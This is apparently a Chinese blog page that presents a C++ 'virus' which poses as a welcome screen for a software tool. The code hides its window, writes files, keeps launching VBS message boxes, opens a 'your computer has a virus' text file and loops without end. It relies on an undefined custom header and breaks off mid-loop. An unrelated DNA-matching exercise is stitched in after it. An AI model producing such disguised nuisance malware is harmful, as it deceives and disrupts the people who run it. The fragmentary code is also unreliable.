C++癫痫病毒

 简单释义: 这个玩楞(病毒玩楞)打着软件的名义,感染你的电脑:

#include <bits/stdc++.h>    
#include <conio.h>          
#include <windows.h> 
#include <HeiKe.h>       
using namespace std;

int main()
{
	Hide();
	Make_Text("Reg.HK","01010100110010010");
	Make_Text("Welcome.vbs","msgbox\"欢迎使用星语心愿软件!我们十分欢迎您\",64\nmsgbox\"在这里,你可以随意临摹他人计算机的txt、bat、exe\",64\nmsgbox\"快开始奇妙的黑客之旅吧(声明:请不要用代码干坏事哟)\",64\nmsgbox\"即将打开,单击“确定”继续\",64");			
	Make_Text("Winm.reg","MawinSky");
	Make_Text("swap.txt","哈哈哈,你的电脑中病毒啦!!!");
	release();
	system("start Welcome.vbs");
	Sleep(20000);
	for (int i = 1; i <= 3; i++)
		system("start Welcome.vbs");
	system("start swap.txt");
	while(1)
	{
		for (int i = 1; i <= 4; i++
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
数据结构C++病毒检测的实现可以参考以下步骤: 1. 创建一个保存待测任务的文本文件,文件格式和内容如下: ``` num task1 task2 ... task_num ``` 其中,num表示待检测的任务数量,task1到task_num表示具体的任务。 2. 读取文本文件中的任务数量和任务内容,并将其存储在合适的数据结构中,例如数组或链表。 3. 对于每个任务,进行病毒检测的操作。可以使用字符串匹配算法,如KMP算法,来判断任务中的DNA序列是否包含病毒的DNA序列。 4. 如果任务中的DNA序列包含病毒的DNA序列,则输出"感染";否则,输出"未感染"。 以下是一个示例代码,演示了如何实现数据结构C++病毒检测: ```cpp #include <iostream> #include <fstream> #include <string> using namespace std; bool isInfected(string dnaSequence, string virusSequence) { int n = dnaSequence.length(); int m = virusSequence.length(); for (int i = 0; i < n; i++) { bool match = true; for (int j = 0; j < m; j++) { if (dnaSequence[(i + j) % n] != virusSequence[j]) { match = false; break; } } if (match) { return true; } } return false; } int main() { ifstream inputFile("tasks.txt"); if (!inputFile) { cout << "Failed to open file." << endl; return 0; } int num; inputFile >> num; for (int i = 0; i < num; i++) { string task; inputFile >> task; if (isInfected(task, "baa")) { cout << "感染" << endl; } else { cout << "未感染" << endl; } } inputFile.close(); return 0; } ```

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

快乐星空Maker

你的鼓励是我创作的最大动力!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值